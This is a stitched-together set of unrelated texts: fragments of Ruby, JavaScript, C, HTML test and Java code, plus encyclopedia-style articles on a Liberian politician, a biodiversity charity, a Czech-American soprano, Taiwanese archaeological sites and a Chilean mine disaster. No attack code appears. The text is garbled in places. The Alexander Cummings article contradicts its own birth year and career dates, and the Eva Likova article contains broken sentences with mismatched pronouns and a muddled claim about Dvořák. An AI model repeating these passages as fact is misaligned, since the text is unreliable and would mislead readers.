sha256_hashJnIWj1WJacYpgB/ayVlZVv7GlCL5fwUxJdgcpMAE6PxxNgVj89LFaobXpe0Y1rbWR0yQC4CU+y+ocU1TVutXbSeweHSwrwNPxd+B9qINimkb2VgZrW1dfX+9j/SV68vdpJ8NvpJ2prazcKOd+CRuyGkGWhJxF5tfYyWlqEsVhsP9+BzaxKvO/zjc9ujBU3kZXcRTM/P/8d5XGCOMsYpItTYKpJAyCVvwAawVOr1hu35CmCEi/your_sha256_hashYhkXxvOZuF+BNBPSCi+peKedm9IVnSjdDfBGVB8VHtmIdwG5MDnMalvnM/tGZV8SWqgHxrLbQ9wL+k7Fzbm5OFNyaNekW8AdTXMEp0Eb5g9EB+Oc1QzbpyMFF1ImtqIX/0v4CwBRdmE9e8GAAAAAASUVORK5CYII='
lineCount = 0
lines.each { |line| lineCount += 1 unless line.start_with?('#') }
if use_emoji
puts "#{lineCount}"
else
puts "#{lineCount} |templateImage=#{iconBase64}"
end
puts '---'
cfn = File.expand_path(__FILE__)
#
# Create the list of items to do in the menu.
#
item_number = 0
lines.each do |item|
line_color = ""
line = item.chomp
if priority_labels.any? { |s| line.include? s }
#
# If line contains priority label, display in priority color
#
line_color = priority_color
else
#
# If line contains no priority label, cycle through labels hash,
# and if line contains a label display in corresponding color
#
labels.each { |label, label_color| line_color = label_color if line.include?(label) }
end
#
# If the line contains no label, display in default color. Otherwise, in
# chosen color. Clicking line launches this script with line number as
# the parameter.
#
line_font = standard_font
if line.start_with?('#')
puts('---') unless line.start_with?('##')
line_font = header_font
end
lineParams = "#{line_color.empty? ? '' : 'color='+line_color} #{line_font.empty? ? '' : 'font='+line_font} bash='#{cfn}' param1=#{line_number[item_number]}"
puts("#{line} | " + lineParams + " param2=x terminal=false trim=false refresh=\n")
puts("#{line} | alternate=true " + lineParams + " param2=- terminal=false trim=false refresh=\n")
item_number += 1
end
puts '---'
puts "Click an item to mark as 'done'"
puts "Click an item to mark as 'cancelled' | alternate=true"
puts 'Refresh | refresh='
else
#
# This is what to do when clicking on an item. We want to move
# the item to the Archive section and set it as done. If there
# isn't an Archive area, create it and add the task to it.
#
# Get the task number to archive.
#
doNum = ARGV[0].to_i
mark = ARGV[1]
#
# Get the list of todos and setup variables
#
todo_file = File.open(todo_file_loc.to_s)
linesInFile = IO.readlines(todo_file)
if !linesInFile[doNum].start_with?('#') # Do nothing if the item is a header
task = ''
lines = []
line_number = 0
linesInFile[-1] = linesInFile[-1] + "\n" unless linesInFile[-1].include? "\n"
#
# Process the todo list lines.
#
linesInFile.each do |line|
if line_number != doNum
#
# It is one of the other lines. Just push it into the stack.
#
lines.push(line)
else
#
# Get the line to be moved to the archive area.
#
if insert_date_on_done_task
task = line.chomp + (mark == 'x' ? " @done(#{Time.new.strftime('%Y-%m-%d %H:%M')})\n" : "\n")
else
task = line.chomp + "\n"
end
task = task.gsub(/^(\s*)([\-\*]+)\s*(\[ \]\s*)*/, '\1\2 [' + mark + '] ') # Works with both task style, useful if mix with 'show_alt_task', also it keeps the indentation at beginning of the line
lines.push(task) unless archive_task_at_end
end
line_number += 1
end
#
# Add the task to the bottom.
#
lines.push(task) if archive_task_at_end
#
# Save the file.
#
IO.write(todo_file, lines.join)
end
end
```
|
```javascript
const memoize = require('memoizee');
const { unknownOp, hashify } = require('./util.js'),
build = require('./lang/expression.js'),
Fields = require('./lang/fields.js');
class Operator {
get value() { return this._value; }
static getNoRefsSteps(steps) { return steps.in_iter; }
static getOpValue(expr, cb) { cb(expr.ast.run()); }
getOpValueWithRefs(expr, doc, cb) {
const { ast, fields } = expr;
cb(ast.run(fields));
}
}
class Sum extends Operator {
constructor() {
super();
this._value = 0;
}
static _verify(value, cb) {
if (typeof value === 'number') { cb(value); }
}
static getOpValue(expr, cb) {
super.getOpValue(expr, value => Sum._verify(value, cb));
}
getOpValueWithRefs(expr, doc, cb) {
super.getOpValueWithRefs(expr, doc, (value) => {
Sum._verify(value, cb);
});
}
add(value) { this._value += value; }
}
class Avg extends Sum {
constructor() {
super();
this._count = 0;
}
add(value) {
this._count++;
super.add(value);
}
get value() { return this._value / this._count || 0; }
}
class Compare extends Operator {
constructor(fn) {
super();
this._value = null;
this._fn = fn;
this._add = this._add1;
}
static getNoRefsSteps(steps) { return steps.in_end; }
_add1(value) {
this._value = value;
this._add = this._add2;
}
_add2(new_value) {
if (this._fn(new_value, this._value)) {
this._value = new_value;
}
}
add(value) {
if (value != null) { this._add(value); }
}
}
class Min extends Compare {
constructor() { super((a, b) => a < b); }
}
class Max extends Compare {
constructor() { super((a, b) => a > b); }
}
class Push extends Operator {
constructor() {
super();
this._value = [];
}
add(value) { this._value.push(value); }
}
class AddToSet extends Operator {
constructor() {
super();
this._hashes = {};
}
static getNoRefsSteps(steps) { return steps.in_end; }
add(value) { this._hashes[hashify(value)] = value; }
get value() {
const docs = [];
for (let hash in this._hashes) {
docs.push(this._hashes[hash]);
}
return docs;
}
}
const runSteps = (steps, ...args) => {
for (let fn of steps) { fn(...args); }
};
const runInEnd = (in_end, groups) => {
for (let group_doc of groups) {
runSteps(in_end, group_doc);
}
};
const groupLoopFn = (next, in_end, groups, fn) => (cb) => {
const done = (error) => {
if (!error) { runInEnd(in_end, groups); }
cb(error, groups);
};
(function iterate() {
next((error, doc) => {
if (!doc) { return done(error); }
fn(doc);
iterate();
});
})();
};
const createGroupByRefFn = (next, expr, steps) => {
const { in_start, in_iter, in_end } = steps;
const groups = [];
const add = memoize((_id_hash, _id) => {
const group_doc = { _id };
groups.push(group_doc);
runSteps(in_start, group_doc);
return group_doc;
}, { length: 1 });
const { ast } = expr;
const _idFn = doc => ast.run(new Fields(doc));
let onDoc;
if (in_iter.length) {
onDoc = (doc) => {
const _id = _idFn(doc);
const group_doc = add(hashify(_id), _id);
runSteps(in_iter, group_doc, doc);
};
} else {
onDoc = (doc) => {
const _id = _idFn(doc);
add(hashify(_id), _id);
};
}
return groupLoopFn(next, in_end, groups, onDoc);
};
const createGroupFn = (next, expr, steps) => {
if (expr.has_refs) {
return createGroupByRefFn(next, expr, steps);
}
const { in_start, in_iter, in_end } = steps;
const groups = [];
const initGroupDoc = () => {
const group_doc = { _id: expr.ast.run() };
runSteps(in_start, group_doc);
groups.push(group_doc);
return group_doc;
};
if (in_iter.length) {
const add = memoize(() => initGroupDoc());
return groupLoopFn(next, in_end, groups, (doc) => {
runSteps(in_iter, add(), doc);
});
}
return (cb) => {
next((error, doc) => {
if (doc) {
initGroupDoc();
runInEnd(in_end, groups);
}
cb(error, groups);
});
};
};
const ops = {
$sum: Sum,
$avg: Avg,
$min: Min,
$max: Max,
$push: Push,
$addToSet: AddToSet
};
const _build = (steps, field, value) => {
const { in_start, in_iter, in_end } = steps;
const op_strs = Object.keys(value);
if (op_strs.length > 1) {
throw Error(`fields must have only one operator`);
}
const op_str = op_strs[0], Op = ops[op_str];
if (!Op) {
if (op_str[0] === '$') { unknownOp(op_str); }
throw Error(`unexpected field '${op_str}'`);
}
const expr = build(value[op_str]);
in_start.push((group_doc) => {
group_doc[field] = new Op(expr);
});
if (expr.has_refs) {
in_iter.push((group_doc, doc) => {
const fields = new Fields(doc);
if (!fields.ensure(expr.paths)) { return; }
const op = group_doc[field],
_expr = Object.assign({ fields }, expr),
add = value => op.add(value);
op.getOpValueWithRefs(_expr, doc, add);
});
} else {
Op.getOpValue(expr, (value) => {
Op.getNoRefsSteps(steps).push((group_doc) => {
group_doc[field].add(value);
});
});
}
in_end.push((group_doc) => {
group_doc[field] = group_doc[field].value;
});
};
module.exports = (_next, spec) => {
if (!spec.hasOwnProperty('_id')) {
throw Error("the '_id' field is missing");
}
const expr = build(spec._id);
const new_spec = Object.assign({}, spec);
delete new_spec._id;
const steps = {
in_start: [],
in_iter: [],
in_end: []
};
for (let field in new_spec) {
_build(steps, field, new_spec[field]);
}
const group = createGroupFn(_next, expr, steps);
let next = (cb) => {
group((error, groups) => {
if (error) { cb(error); }
else { (next = cb => cb(null, groups.pop()))(cb); }
});
};
return cb => next(cb);
};
```
|
Alexander Benedict Cummings Jr. (born 7 December 1956) is a Liberian politician, businessman and philanthropist. He is the Standard Bearer of Liberia's Alternative National Congress.
Born in Monrovia Liberia, Cummings studied at Cuttington University College in Liberia before leaving for the United States to further his studies at the Northern Illinois University, where he earned a Bachelor of Science degree in Finance and Economics. He earned an MBA in Finance from Clark-Atlanta University.
Cummings worked for over 40 years in international business. He retired from Coca-Cola as its Chief Administrator in 2016, after a twenty years long career with the organisation.
He currently serves as Chairman of the Cummings Africa Foundation.
Early life and education
Alexander B. Cummings Jr. was born in Montserrado County in Liberia's capital Monrovia to Alexander B. Cummings Sr., an educator, and Ayo, a midwife and small business owner. He spent his early years in Monrovia's deprived Point Four neighbourhood before studying at a Monrovia's Demonstration primary school in Montserrado County. His first introduction to business was by his mother, who leveraged him to go door-to-door to collect payment from customers and keep track of sales.
He attended high school at the College of West Africa, where he participated in various social and intellectual activities and served yearly as a class officer including first as class senator, then treasurer and eventually senior class president. After graduation from high school, he matriculated to Cuttington University College for two years before leaving for the United States to further his studies at the Northern Illinois University, where he earned a Bachelor of Science degree in Finance and Economics. He returned to the United States to further his studies and earned an MBA in Finance from Clark-Atlanta University.
Business career
Upon graduation from Northern Illinois University he returned home and worked for two years at the Liberian Development Bank, until the tail-end of the 1980s. In the 1970s, Cummings returned to the US to attend Atlanta University where he received his MBA in Finance. He began his international business career, which took him to the Nigeria, Kenya, Morocco, UK and South Africa. Cummings began working for The Pillsbury Company in 1982, his last position being Vice-President of Finance for all of Pillsbury's international businesses.
Cummings joined Coca-Cola Co. in 1997 as Deputy Region Manager, Nigeria based in Lagos, Nigeria and managing director/Region Manager, Nigeria in 1998. He became President of Coca-Cola's Africa Group in 2001. He served as Chief Administrative Officer of the Coca-Cola Company from 1 July 2008 to 31 March 2016 and as its Executive Vice-President from July 2002 to 31 March 2016. As Chief Administrative Officer, he consolidated oversight of key global corporate functions including Legal, People, Strategic Planning, Information Technology, Strategic Security, Sustainability and Technical. Cummings led a period of strong growth in Coca-Cola's Africa business, overseeing critical investments in marketing and infrastructure across 56 African countries and territories from 2001 to 2008.
Mr. Cummings served on the boards of, C.A.R.E. and Clark Atlanta University. He also is a board member of S.C. Johnson & Son, Inc. and a former board member of The Coca-Cola Bottling Co. Consolidated, a publicly traded bottler of The Coca-Cola Company (NASDAQ). He is a member of their Executive Leadership Council.
He previously served as a Board Member of the Africa-America Institute, Chevron, Africare, the Corporate Council on Africa, and the US-Egypt Business Council, on the Advisory Board at The African Presidential Archives & Research Center and on the Center for Global Development's Commission on US Policy toward Low-Income Poorly Performing States (LIPPS),Sabathani Community Center in Minneapolis, MN, USA
He also served as an Independent Director of Chevron Corporation from 10 December 2014 until 27 April 2016, and as a Director of International Bank (Liberia) Limited.
Political career
Currently running for president of Liberia, as the standard bearer of the Alternative National Congress (ANC), Cummings became the political leader of the Alternative National Congress in 2015, and announced his bid to run for president in 2016.
After holding a county-by-county national presidential primary election, the first of its kind in Liberia, Alexander B. Cummings was endorsed as the Standard Bearer of the Alternative National Congress in Kakata, Margibi on 29 April 2017. In 2023, he is running for president in the Liberian 2023 General election with Charlyne Brumskine as his running mate.
Philanthropy
Cummings has a long history of philanthropy and supporting his home country Liberia, globally; supporting funding for water projects and providing students scholarships in Liberia, and donating to various causes including the African Methodist Episcopal University's Innovation Center named in his honour.
In 2011, President Ellen Johnson Sirleaf conferred on Mr. Cummings the distinction of Knight Great Band – Humane Order of African Redemption; the medal is one of the highest honours in Liberia and is awarded for humanitarian work in Liberia, for acts supporting and assisting the Liberian nation.
During Cummings' time at Coca-Cola Africa, he oversaw the creation of The Coca-Cola Africa Foundation in response to the growth and impact of the HIV/AIDS pandemic. In 2001, the Foundation established an extensive healthcare program for Coca-Cola workers affected by HIV/AIDS and related conditions across Africa in addition to supporting HIV/AIDS prevention and awareness throughout local communities. Today, The Coca-Cola Africa Foundation is the largest regional foundation within Coca-Cola's global network with a focus on clean water, health education and entrepreneurship. Since 2001, it has granted more than $100 million (~$ in ) to support sustainable communities in Africa.
He launched the Cummings Africa Foundation in 2015 with his wife Teresa Cummings, and their two children Boikai and Ayo Cummings. The Cummings Foundation focuses on empowering and uplifting Africans in health, education, agriculture, and the arts. Since its formation, the foundation has invested over one million U.S. dollars in projects in Africa, including facilitating the construction of a STEM (Science, Technology, Engineering and Mathematics) academic institution, the first of its kind in Liberia.
Personal life
Cummings has been married to Teresa Cummings for over 35 years. Together they have two children – Ayo and Boikai Cummings and five grandchildren.
References
1960 births
Living people
Liberian businesspeople
Liberian politicians
Politicians from Monrovia
Clark Atlanta University alumni
Cuttington University alumni
Americo-Liberian people
College of West Africa alumni
|
```c
/* ========================================================================= */
/* === AMD_aat ============================================================= */
/* ========================================================================= */
/* your_sha256_hash--------- */
/* email: DrTimothyAldenDavis@gmail.com */
/* your_sha256_hash--------- */
/* AMD_aat: compute the symmetry of the pattern of A, and count the number of
* nonzeros each column of A+A' (excluding the diagonal). Assumes the input
* matrix has no errors, with sorted columns and no duplicates
* (AMD_valid (n, n, Ap, Ai) must be AMD_OK, but this condition is not
* checked).
*/
#include "amd_internal.h"
GLOBAL size_t AMD_aat /* returns nz in A+A' */
(
Int n,
const Int Ap [ ],
const Int Ai [ ],
Int Len [ ], /* Len [j]: length of column j of A+A', excl diagonal*/
Int Tp [ ], /* workspace of size n */
OSQPFloat Info [ ]
)
{
Int p1, p2, p, i, j, pj, pj2, k, nzdiag, nzboth, nz ;
OSQPFloat sym ;
size_t nzaat ;
#ifndef NDEBUG
AMD_debug_init ("AMD AAT") ;
for (k = 0 ; k < n ; k++) Tp [k] = EMPTY ;
ASSERT (AMD_valid (n, n, Ap, Ai) == AMD_OK) ;
#endif
if (Info != (OSQPFloat *) NULL)
{
/* clear the Info array, if it exists */
for (i = 0 ; i < AMD_INFO ; i++)
{
Info [i] = EMPTY ;
}
Info [AMD_STATUS] = AMD_OK ;
}
for (k = 0 ; k < n ; k++)
{
Len [k] = 0 ;
}
nzdiag = 0 ;
nzboth = 0 ;
nz = Ap [n] ;
for (k = 0 ; k < n ; k++)
{
p1 = Ap [k] ;
p2 = Ap [k+1] ;
AMD_DEBUG2 (("\nAAT Column: "ID" p1: "ID" p2: "ID"\n", k, p1, p2)) ;
/* construct A+A' */
for (p = p1 ; p < p2 ; )
{
/* scan the upper triangular part of A */
j = Ai [p] ;
if (j < k)
{
/* entry A (j,k) is in the strictly upper triangular part,
* add both A (j,k) and A (k,j) to the matrix A+A' */
Len [j]++ ;
Len [k]++ ;
AMD_DEBUG3 ((" upper ("ID","ID") ("ID","ID")\n", j,k, k,j));
p++ ;
}
else if (j == k)
{
/* skip the diagonal */
p++ ;
nzdiag++ ;
break ;
}
else /* j > k */
{
/* first entry below the diagonal */
break ;
}
/* scan lower triangular part of A, in column j until reaching
* row k. Start where last scan left off. */
ASSERT (Tp [j] != EMPTY) ;
ASSERT (Ap [j] <= Tp [j] && Tp [j] <= Ap [j+1]) ;
pj2 = Ap [j+1] ;
for (pj = Tp [j] ; pj < pj2 ; )
{
i = Ai [pj] ;
if (i < k)
{
/* A (i,j) is only in the lower part, not in upper.
* add both A (i,j) and A (j,i) to the matrix A+A' */
Len [i]++ ;
Len [j]++ ;
AMD_DEBUG3 ((" lower ("ID","ID") ("ID","ID")\n",
i,j, j,i)) ;
pj++ ;
}
else if (i == k)
{
/* entry A (k,j) in lower part and A (j,k) in upper */
pj++ ;
nzboth++ ;
break ;
}
else /* i > k */
{
/* consider this entry later, when k advances to i */
break ;
}
}
Tp [j] = pj ;
}
/* Tp [k] points to the entry just below the diagonal in column k */
Tp [k] = p ;
}
/* clean up, for remaining mismatched entries */
for (j = 0 ; j < n ; j++)
{
for (pj = Tp [j] ; pj < Ap [j+1] ; pj++)
{
i = Ai [pj] ;
/* A (i,j) is only in the lower part, not in upper.
* add both A (i,j) and A (j,i) to the matrix A+A' */
Len [i]++ ;
Len [j]++ ;
AMD_DEBUG3 ((" lower cleanup ("ID","ID") ("ID","ID")\n",
i,j, j,i)) ;
}
}
/* your_sha256_hash----- */
/* compute the symmetry of the nonzero pattern of A */
/* your_sha256_hash----- */
/* Given a matrix A, the symmetry of A is:
* B = tril (spones (A), -1) + triu (spones (A), 1) ;
* sym = nnz (B & B') / nnz (B) ;
* or 1 if nnz (B) is zero.
*/
if (nz == nzdiag)
{
sym = 1 ;
}
else
{
sym = (2 * (OSQPFloat) nzboth) / ((OSQPFloat) (nz - nzdiag)) ;
}
nzaat = 0 ;
for (k = 0 ; k < n ; k++)
{
nzaat += Len [k] ;
}
AMD_DEBUG1 (("AMD nz in A+A', excluding diagonal (nzaat) = %g\n",
(OSQPFloat) nzaat)) ;
AMD_DEBUG1 ((" nzboth: "ID" nz: "ID" nzdiag: "ID" symmetry: %g\n",
nzboth, nz, nzdiag, sym)) ;
if (Info != (OSQPFloat *) NULL)
{
Info [AMD_STATUS] = AMD_OK ;
Info [AMD_N] = n ;
Info [AMD_NZ] = nz ;
Info [AMD_SYMMETRY] = sym ; /* symmetry of pattern of A */
Info [AMD_NZDIAG] = nzdiag ; /* nonzeros on diagonal of A */
Info [AMD_NZ_A_PLUS_AT] = nzaat ; /* nonzeros in A+A' */
}
return (nzaat) ;
}
```
|
BIOPAT is non-profit-making association set up to raise funds, through donation, for use in studying biodiversity, systematically describing it, and supporting its preservation.
History
BIOPAT was founded in 1999 by an international group of scientists and institutions and sponsored by the Deutsche Gesellschaft für Internationale Zusammenarbeit (GIZ). The concept was initially proposed by Dr. Frank Glaw and Dr. Jörn Köhler in 1998 based on an idea of Professor Gerhard Haszprunar of the State Zoological Collection in Munich. Recognizing the importance of additional funding for taxonomic research to ensure the protection of biodiversity despite declining public support, they proposed a model whereby benefactors would provide funds for taxonomic research and nature conservation in exchange for a new species being named after them.
Similar models have since been adopted by other international environmental and biodiversity organizations, including the Wildlife Conservation Society, the Audubon Society, and Purdue University. It has also been the subject of a paper by the United Nations Environmental Programme
Funding and accountability
The majority of BIOPAT’s income comes from benefactors who provide funds in exchange for a species being named after them by scientists. 50% of this money goes to support taxonomy and biodiversity research, the other half is used in support of nature conservation projects. All members of the Association, including the Scientific Advisory Council, provide their service on a volunteer basis and are not compensated.
To date, over 120 species have been sponsored by BIOPAT.
BIOPAT adheres to the International Non-Governmental Organisations (INGO) Commitment to Accountability Charter.
Image gallery
Examples of species named through the BIOPAT initiative:
References
Biodiversity
Environmental organisations based in Germany
Non-profit organisations based in North Rhine-Westphalia
Sustainability organizations
1999 establishments in Germany
|
Down to the Wire may refer to:
Books
Down to the Wire: UPI's Fight for Survival by Gregory Gordon and Ronald E. Cohen about United Press International
Music
"Down to the Wire", a song on the album Decade by Neil Young
"Down to the Wire", a song on the album Demoz by Marcella Detroit
"Down to the Wire", a song on the album Far from Over by Vijay Iyer
"Down to the Wire", a song on the album Greatest Hints by Michael Stanley Band
"Down to the Wire", a song on the album Inside Out by Fates Warning
"Down to the Wire", a song on the album Light of the Fearless by Hybrid
"Down to the Wire", a song on the album Oceanview Motel by Mae Moore
"Down to the Wire", a song on the compilation album Rarities by The Living End
"Down to the Wire", a song on the album Red Earth by Crash Vegas
"Down to the Wire", a song on the album Resilient by Running Wild
"Down to the Wire", a song on the album Stop the World by Ghost Dance
"Down to the Wire", a song on the album The Grapes of Wrath by The Grapes of Wrath
"Down to the Wire", a song on the album Under the Gun by Poco
Down to the Wire, an album by Paul Peterson
Down to the Wire: 4th Ave Edition, an album by Mozzy
Television
"Down to the Wire", an episode in season 2 of Airline
"Down to the Wire", an episode in season 6 of CSI: Miami
"Down to the Wire", an episode in season 1 of Jade Fever
"Down to the Wire", an episode in season 1 of The Apprentice
"Down to the Wire", an episode in season 14 of The Biggest Loser
"Down to the Wire", an episode in season 16 of The Challenge
"Down to the Wire", an episode in season 2 of Top Shot
|
Eva Likova (21 December 1919 – 15 March 2004) was an American operatic soprano of Czech descent. She was notably one of the major sopranos at the New York City Opera during the company's early years. She also made guest appearances with a number of opera houses in North America and Europe, enjoying a particularly fruitful partnership with the Philadelphia Grand Opera Company. After retiring from the opera stage in 1966, she embarked on a second career as a voice teacher.
Biography
Born Eva Pichlíková in Prague, Likova studied to be a ballerina before studying singing at the Prague Conservatory with Nektar de Flondor. She made her professional opera debut in 1943 as Mařenka in Bedřich Smetana's The Bartered Bride at the Brno National Theatre where she was committed for two years. From 1945 through 1947 she worked as a principal artist at the Prague National Theatre. She also made a handful of appearances in European films and worked as a dramatic actress and ballet dancer during the early 1940s.
In 1947 Likova came to the United States on a two-year contract with the Detroit Symphony. It was she who brought Americans from the delusion that he was Antonin Dvorak's New World American composer and music that is purely American. Following reports of a communist coup in 1948, he decided to stay here for the rest of your life. She first performed in the USA as a concert singer, making her American debut on February 6, 1947 with the Detroit Symphony Orchestra under conductor Karl Krueger. In 1948 she received critical acclaim after appearing with the New York Philharmonic under the direction of Alfredo Antonini before an audience of over 14,000 at the landmark Lewisohn Stadium performing selections from Giacomo Puccini's Madama Butterfly and Ruggero Leoncavallo's Pagliacci. In 1949 made her American opera debut as Violetta in Giuseppe Verdi's La traviata at the New York City Opera (NYCO). She remained committed to the NYCO up through 1957, portraying such roles as Donna Anna and Donna Elvira in Wolfgang Amadeus Mozart's Don Giovanni, Gilda in Verdi's Rigoletto, Liù in Giacomo Puccini's Turandot, Marguerite in Charles Gounod's Faust (opposite Norman Treigle), Micaela in Georges Bizet's Carmen, Musetta in Puccini's La bohème, Nedda in Ruggero Leoncavallo's Pagliacci, Olympia in Jacques Offenbach's The Tales of Hoffmann and the title role in Jules Massenet’s Manon. She returned to the NYCO as a guest artist a number of times up through 1965, with her last performance with the company being Giorgetta in Puccini's Il tabarro.
Likova was active as a guest artist with opera companies throughout the United States during the 1950s and 1960s. In 1953 she made her debut with the Philadelphia Civic Grand Opera Company as Violetta to the Alfredo of Walter Fredericks and Germont of Cesare Bardelli under conductor Giuseppe Bamboschek. She later appeared with the Philadelphia Grand Opera Company as Nedda (1956), Gilda (1957), Adina in Gaetano Donizetti's L'elisir d'amore (1958), Lisette in Puccini's La rondine (1960), Marienka (1960), Musetta (1964), Micaëla (1964), and Nedda (1966). In 1954 she appeared as Zerbinetta in Richard Strauss's Ariadne auf naxos at the Central City Opera. In 1955 she sang Arsena in Johann Strauss II's The Gypsy Baron at the Lewisohn Stadium under conductor Julius Rudel and portrayed Euridice in Christoph Willibald Gluck's Orfeo ed Euridice at the Newport Music Festival with Martha Lipton as Orfeo. In 1956, she sang Dircé in the American Opera Society's production of Luigi Cherubini's Médée at Carnegie Hall with Eileen Farrell in the title role and Arnold Gamson conducting. In 1959, Likova portrayed Oscar in Un ballo in maschera, opposite Herva Nelli and Richard Tucker, for the Opera Guild of Miami.
In 1961 Likova sang Violetta at the Opera Company of Boston with John Alexander as Alfredo and Igor Gorin as Germont under the baton of Sarah Caldwell. That same year she portrayed Liù to Lucille Udovick's Turandot at the San Francisco Opera. She also gave performances at the Pittsburgh Opera and New Orleans Opera among others. She was also active as a concert singer, appearing with such orchestras as the New York Philharmonic and the Chicago Symphony Orchestra. On the international stage she appeared at the Canadian Opera Company, the Great Theatre, Warsaw, the Liceu, the Palacio de Bellas Artes, the Vienna State Opera, the Opéra National de Paris, and with a number of opera houses in Germany and Italy. She was also highly active in filming operatic productions for television in the early 1950s with both NBC and CBC.
After the end of the 1965-1966 season, Likova retired from performing. She joined the faculty of the University of Michigan School of Music, Theatre & Dance, where she taught singing until her retirement in 1983. She later taught privately in both New York City and Philadelphia until returning to Michigan where she lived in Southfield until her death of complications of Alzheimer's disease at the age of 84.
References
1919 births
2004 deaths
American people of Czech descent
Deaths from Alzheimer's disease
American operatic sopranos
Prague Conservatory alumni
University of Michigan faculty
20th-century American women opera singers
American women academics
Deaths from dementia in Michigan
Czechoslovak emigrants to the United States
21st-century American women
|
```html
<!doctype html>
<!--
@license
This code may only be used under the BSD style license found at path_to_url
The complete set of authors may be found at path_to_url
The complete set of contributors may be found at path_to_url
Code distributed by Google as part of the polymer project is also
subject to an additional IP rights grant found at path_to_url
-->
<html>
<head>
<title></title>
<meta charset="UTF-8">
<script src="../webcomponents-lite.js" log="foo,boo" squid="never" spoo></script>
<script src="../../web-component-tester/browser.js"></script>
</head>
<body>
<script>
suite('Development Loader', function() {
test('loader', function() {
assert(window.WebComponents, 'WebComponents scope missing');
assert.equal(WebComponents.flags.squid, 'never', '"squid" flag missing');
assert(WebComponents.flags.spoo, '"spoo" flag missing');
assert(WebComponents.flags.log, 'flags.log missing');
assert(WebComponents.flags.log.foo, 'flags.log.foo missing');
assert(WebComponents.flags.log.boo, 'flags.log.foo missing');
});
});
</script>
</body>
</html>
```
|
This list of archaeological sites in Taiwan encompasses sites that have either contributed substantially or have the potential to contribute substantially to research regarding people who have lived in Taiwan since prehistoric times. A historical site is not necessarily an archaeological site. A historical site should be included only if actual field work has been conducted at the site.
Northern Taiwan
Metropolitan Taipei
Botanical Garden Site (植物園遺址)
Chihshan Rock Site (芝山岩遺址)
Shihsanhang Site (十三行遺址)
Tapenkeng Site (大坌坑遺址)
Yuanshan Site (圓山遺址)
Central Taiwan
Taichung
Fanchi Garden Site (番仔園遺址)
Huilai Monument Archaeology Park
Niumatou Site
Nantou
Chuping Archaeological Site
Southern Taiwan
Kaohsiung
Fengbitou Archaeological Site
Futingchin Site (覆鼎金遺址)
Hoching Site (後勁遺址)
Hochuang Site (後庄遺址)
Liuho Site (六和遺址)
Lungchuan Temple Site (龍泉寺遺址)
Tsoying Old City Site (左營舊城遺址)
Tainan
Niaosung Culture Site
歸仁窯遺址
南科遺址
西寮遺址
道爺南糖廍遺址
Eastern Taiwan
Taitung
八仙洞遺址
Donghe Site (東河遺址)
Beinan Site
Dulan Site
Yilan
宜蘭農校遺址
淇武蘭遺址
大竹圍遺址
Wanshan Site (丸山遺址)
Outlying islands
Kinmen
Chinkuishan Site 金龜山遺址
See also
Taiwan
archaeological sites
archaeological sites
|
The 1945 El Teniente mining accident, known locally as the Smoke Tragedy (), is the largest mining accident in metal extraction in the history of Chile and, as of 2005, worldwide. It happened on June 19, 1945, in Chile's El Teniente mine in the Andes, which belonged to Braden Copper Company, a subsidiary of Kennecott Copper Corporation, both of the United States. A total of 355 men died, largely because of a nearby fire whose smoke trapped the workers in tunnels and resulted in carbon monoxide poisoning. Another 747 men were injured by the smoke.
Description
Nearly 1,000 workers were underground in the pits on June 19, 1945, when a fire started at a nearby warehouse near "Teniente C" pike. It spread to oil drums and burned fiercely. Thick smoke was drawn into the pike and spread through the tunnels of the mine. The ventilation systems did not work adequately, and the smoke obscured the exits. Men near the pike were able to escape, but most of the others sought refuge in security corridors or at the bottom of the pikes. Emergency exits were improperly marked, hindering the escape of many until too late. Men began to succumb to carbon monoxide poisoning because of the smoke, which left them unconscious. Some 355 miners died; another 747 were injured.
Although the external fire was brought under control by that evening, rescue workers could not enter the tunnels until noon the next day. Rescuers spent 3 days trying to free the miners, but found hundreds already dead.
A mass was celebrated for the miners at the nearby camp in Sewell on June 20. The government declared three days of mourning, and businesses and schools closed in response to the national tragedy. Flags throughout the country were flown at half mast. The Mining Superintendent issued a report on the accident in the months afterward.
Legacy
As there was no cemetery at Sewell, the company town on the mountain, all of the miners' bodies were taken to Rancagua in the valley for burial. In addition to compensating the families of the workers financially, Kennecott developed a community here, known as Las Viudas Population (The Widows Community), to provide housing for the many widows and their families. The workers were buried in graves marked by gravestones of the same design. (See image).
The disaster resulted in the adoption in Chile of occupational safety systems already in use in the US and Europe. In addition, their Congress passed legislation to reduce the independence of the company, and the Work Accident Law to support worker safety. The government established the Department of Mining Safety, stressing more communication with miners. El Teniente made such improvements to its operation that the mine won the international security award for 14 consecutive years.
References
Mining disasters in Chile
1945 mining disasters
1945 in Chile
Labor in Chile
1945 disasters in Chile
|
```java
/*
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
*
* path_to_url
*
* Unless required by applicable law or agreed to in writing, software
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*/
package org.apache.rocketmq.client.impl;
import io.netty.channel.ChannelHandlerContext;
import java.io.IOException;
import java.nio.ByteBuffer;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.lang3.StringUtils;
import org.apache.rocketmq.client.impl.factory.MQClientInstance;
import org.apache.rocketmq.client.impl.producer.MQProducerInner;
import org.apache.rocketmq.client.producer.RequestFutureHolder;
import org.apache.rocketmq.client.producer.RequestResponseFuture;
import org.apache.rocketmq.common.UtilAll;
import org.apache.rocketmq.common.compression.Compressor;
import org.apache.rocketmq.common.compression.CompressorFactory;
import org.apache.rocketmq.common.message.MessageAccessor;
import org.apache.rocketmq.common.message.MessageConst;
import org.apache.rocketmq.common.message.MessageDecoder;
import org.apache.rocketmq.common.message.MessageExt;
import org.apache.rocketmq.common.message.MessageQueue;
import org.apache.rocketmq.common.sysflag.MessageSysFlag;
import org.apache.rocketmq.common.utils.NetworkUtil;
import org.apache.rocketmq.remoting.common.RemotingHelper;
import org.apache.rocketmq.remoting.exception.RemotingCommandException;
import org.apache.rocketmq.remoting.netty.NettyRequestProcessor;
import org.apache.rocketmq.remoting.protocol.NamespaceUtil;
import org.apache.rocketmq.remoting.protocol.RemotingCommand;
import org.apache.rocketmq.remoting.protocol.RequestCode;
import org.apache.rocketmq.remoting.protocol.ResponseCode;
import org.apache.rocketmq.remoting.protocol.body.ConsumeMessageDirectlyResult;
import org.apache.rocketmq.remoting.protocol.body.ConsumerRunningInfo;
import org.apache.rocketmq.remoting.protocol.body.GetConsumerStatusBody;
import org.apache.rocketmq.remoting.protocol.body.ResetOffsetBody;
import org.apache.rocketmq.remoting.protocol.header.CheckTransactionStateRequestHeader;
